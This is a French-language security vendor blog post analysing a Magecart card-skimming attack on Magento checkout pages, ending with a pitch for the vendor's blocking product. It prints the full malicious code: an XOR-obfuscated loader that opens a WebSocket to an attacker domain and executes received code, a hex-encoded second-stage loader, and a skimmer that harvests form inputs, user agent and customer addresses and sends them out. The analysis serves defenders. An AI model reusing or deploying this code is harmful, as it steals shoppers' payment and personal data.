En bref : analyse de skimmer obfusqué
- Aléatoire à dessein : Le script injecté ressemble à un tableau aléatoire de 30 octets et c'est le but, car les vérifications de hash et la revue humaine glissent devant du code assemblé à l'exécution via une arithmétique XOR et une reconstruction par String.fromCharCode.
- Désobfusqué automatiquement : Le payload ouvre une WebSocket vers wss://gstatlc[.]org/jivo et ne s'active que sur la route onestepcheckout de Magento, et le moteur cside le désobfusque et le déballe automatiquement au lieu d'attendre qu'un chercheur publie une analyse.
- Vérifiez votre outil : Si votre processus de revue dépend de la lecture des fichiers source à l'œil, les skimmers obfusqués restent invisibles pendant des mois, donc décidez si votre outil désobfusque réellement les payloads ou se contente de les transporter vers le navigateur.
Peu de temps ? Découvrez le blocage de Magecart et de skimmers dans le navigateur par cside. Elle couvre tout ce qui suit en un seul déploiement.
Le 14 octobre, nous avons publié un article sur une nouvelle attaque Magecart ciblant Magento. À l'époque, nous n'avions identifié qu'un seul script comme responsable.
Aujourd'hui, nous avons pu retrouver et analyser l'attaque plus en détail.
L'attaque décodée
Voici le code injecté :
<script>
const qbq = [93,89,89,16,5,5,77,89,94,75,94,70,73,4,69,88,77,5,64,67,92,69,21,89,69,95,88,73,79,23];
const zep = 42;
window.sss = new WebSocket(String.fromCharCode(...qbq.map(hwo => hwo ^ zep)) + encodeURIComponent(location.href));
window.sss.addEventListener('message', event => {new Function(event.data)()});
</script>
En décodant ce script obfusqué, nous avons découvert qu'il établit une connexion WebSocket vers l'URL suivante : wss://gstatlc[.]org/jivo?source=.
Nous avons alors suspecté que l'attaque visait probablement à du web skimming, c'est-à-dire au vol de données clients telles que les informations de carte bancaire.
Nous avons ensuite trouvé le script suivant :
! function() {
function e(e) {
let t = "";
for (let n = 0; n < e.length; n += 2) {
let o = e.slice(n, n + 2),
c = parseInt(o, 16);
t += String.fromCharCode(c)
}
return t
}
if (window.location.href.includes(e("6f6e6573746570636865636b6f7574"))) {
const t = new WebSocket(e("7773733a2f2f61766765617273686f702e6164732d616e616c797369732e6e65743a3434332f7773")),
n = "x-magento-65dsf";
t.onmessage = function(t) {
! function(t) {
if (!document.querySelector("#" + n)) {
const o = document.createElement("script");
o.id = n, o.text = e(t), document.head.appendChild(o)
}
}(t.data)
}
}
}();
Ce code mène à du code obfusqué que notre plateforme cside désobfusque automatiquement. Nous avons trouvé plusieurs fonctions destinées à capturer des données.
// Function to decode the selectors
function decodeSelectors() {
let decoded = hexDecode(encodedSelectors);
let selectorArray = decoded.split('|');
return selectorArray;
}
// Function to check if specific elements are present on the page
const checkElementsPresence = () => {
let selectors = decodeSelectors();
return selectors.every(selectorEntry => {
let [selector, count] = selectorEntry.split(':');
let elements = document.querySelectorAll(selector);
return elements.length >= Number(count);
});
};
// Function to generate a unique identifier
const generateUUID = () => {
return ([1e7] + -1e3 + -4e3 + -8e3 + -1e11).replace(/[018]/g, c =>
(c ^ crypto.getRandomValues(new Uint8Array(1))[0] & 15 >> c / 4).toString(16)
);
};
// Function to encode data as hex
function hexEncode(str) {
return str.split('').map(char => char.charCodeAt(0).toString(16)).join('');
}
// Function to collect form data
const collectFormData = (context) => {
let data = {};
let counts = {};
let inputs = context.querySelectorAll('input, select, textarea');
for (let i = 0; i < inputs.length; ++i) {
let element = inputs[i];
let name = element.name || element.id;
let value = element.value;
if (value !== '' && name) {
if (!counts[name]) counts[name] = 0;
if (element.tagName !== 'SELECT') {
counts[name] === 0
? data[name] = value
: data[`${name}#${counts[name]}`] = value;
} else {
let selectedOption = element.options[element.selectedIndex].text;
counts[name] === 0
? data[name] = selectedOption
: data[`${name}#${counts[name]}`] = selectedOption;
}
counts[name]++;
}
}
data['url'] = window.location.hostname;
data['ua'] = window.navigator.userAgent;
data['ts'] = Date.now();
// Attempt to collect customer address data if available
if (window.checkoutConfig && window.checkoutConfig.customerData && window.checkoutConfig.customerData.addresses) {
try {
let addresses = window.checkoutConfig.customerData.addresses;
data['address_data'] = addresses[Object.keys(addresses)[0]];
} catch (e) { /* Ignore errors */ }
}
return hexEncode(JSON.stringify(data));
};
// Interval to repeatedly check and send data
let intervalId = setInterval(() => {
if (checkElementsPresence()) {
let formData = collectFormData(document.body);
const uuid = generateUUID();
const webSocketURL = hexDecode(encodedWebSocketURL) + '/' + uuid;
const ws = new WebSocket(webSocketURL);
ws.addEventListener('open', function () {
ws.send(formData);
ws.close(1000, 'done');
clearInterval(intervalId);
});
}
}, 1000);
})();
On y trouve un autre domaine malveillant : wss://adsprove[.]online/ws.
L'ensemble de ces fonctions confirme que le script cible bien les différentes saisies des visiteurs sans méfiance. Cela démontre également que la surveillance et le blocage de ces tentatives côté client sont essentiels pour détecter et stopper ces attaques.
Comment protéger votre site
cside a été créé pour mettre fin à ces attaques. Tout script tiers présent sur votre site qui serait compromis peut être détecté et bloqué avant même de s'exécuter dans le navigateur de vos visiteurs. Vous les protégez, ainsi que vous-même, contre les acteurs malveillants.
En utilisant notre offre gratuite, vous êtes protégé contre cette attaque et d'autres similaires.









